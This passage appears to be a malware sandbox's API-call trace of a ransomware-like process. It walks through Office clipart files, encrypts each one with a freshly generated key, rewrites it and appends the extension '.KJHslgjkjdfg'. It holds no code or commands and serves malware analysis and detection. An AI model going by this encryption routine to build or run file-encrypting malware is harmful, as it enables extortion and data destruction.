dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.550] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.550] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0202.551] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.551] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.551] GetProcessHeap () returned 0x2ef0000 [0202.552] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.552] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.552] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.552] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.552] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.552] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.552] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.552] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.552] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.552] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.552] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.552] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.552] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xb594, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xb594, lpOverlapped=0x0) returned 1 [0202.554] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb5a0, dwBufLen=0xb5a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb5a0) returned 1 [0202.554] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.554] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xb5a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xb5a0, lpOverlapped=0x0) returned 1 [0202.554] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.554] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb674, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.555] SetEndOfFile (hFile=0x130) returned 1 [0202.557] GetProcessHeap () returned 0x2ef0000 [0202.557] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.557] GetProcessHeap () returned 0x2ef0000 [0202.557] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.557] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg.kjhslgjkjdfg")) returned 1 [0202.558] CloseHandle (hObject=0x130) returned 1 [0202.559] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x51aa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0168644.WMF", cAlternateFileName="")) returned 1 [0202.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.559] GetProcessHeap () returned 0x2ef0000 [0202.559] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.560] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.560] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.560] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0202.562] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.562] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.562] GetProcessHeap () returned 0x2ef0000 [0202.562] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.562] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.562] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.562] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.562] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.562] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.562] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.563] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.563] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.563] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.563] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.563] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.563] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x51aa, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x51aa, lpOverlapped=0x0) returned 1 [0202.564] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x51b0, dwBufLen=0x51b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x51b0) returned 1 [0202.564] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.564] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x51b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x51b0, lpOverlapped=0x0) returned 1 [0202.565] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.565] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5284, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.565] SetEndOfFile (hFile=0x130) returned 1 [0202.567] GetProcessHeap () returned 0x2ef0000 [0202.568] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.568] GetProcessHeap () returned 0x2ef0000 [0202.568] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.568] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf.kjhslgjkjdfg")) returned 1 [0202.569] CloseHandle (hObject=0x130) returned 1 [0202.569] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3888, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0171685.WMF", cAlternateFileName="")) returned 1 [0202.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.570] GetProcessHeap () returned 0x2ef0000 [0202.570] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.570] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.570] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.570] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.573] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.573] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.573] GetProcessHeap () returned 0x2ef0000 [0202.573] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.573] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.573] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.573] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.573] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.573] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.573] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.574] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.574] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.574] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.574] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.574] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.574] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3888, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3888, lpOverlapped=0x0) returned 1 [0202.575] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3890, dwBufLen=0x3890 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3890) returned 1 [0202.575] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.575] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3890, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3890, lpOverlapped=0x0) returned 1 [0202.575] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.575] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3964, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.575] SetEndOfFile (hFile=0x130) returned 1 [0202.578] GetProcessHeap () returned 0x2ef0000 [0202.578] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.578] GetProcessHeap () returned 0x2ef0000 [0202.578] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.578] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf.kjhslgjkjdfg")) returned 1 [0202.580] CloseHandle (hObject=0x130) returned 1 [0202.580] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ae8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0171847.WMF", cAlternateFileName="")) returned 1 [0202.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.581] GetProcessHeap () returned 0x2ef0000 [0202.581] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.581] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.581] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.581] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.583] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.583] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.583] GetProcessHeap () returned 0x2ef0000 [0202.583] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.583] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.583] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.583] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.583] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.583] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.583] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.584] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.584] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.584] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.584] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.584] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.584] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1ae8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1ae8, lpOverlapped=0x0) returned 1 [0202.585] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1af0, dwBufLen=0x1af0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1af0) returned 1 [0202.585] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.585] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1af0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1af0, lpOverlapped=0x0) returned 1 [0202.585] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.585] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1bc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.585] SetEndOfFile (hFile=0x130) returned 1 [0202.588] GetProcessHeap () returned 0x2ef0000 [0202.588] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.588] GetProcessHeap () returned 0x2ef0000 [0202.588] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.588] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf.kjhslgjkjdfg")) returned 1 [0202.589] CloseHandle (hObject=0x130) returned 1 [0202.589] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d18, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0172035.WMF", cAlternateFileName="")) returned 1 [0202.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.591] GetProcessHeap () returned 0x2ef0000 [0202.591] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.591] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.591] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.591] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.593] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.593] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.593] GetProcessHeap () returned 0x2ef0000 [0202.593] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.593] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, 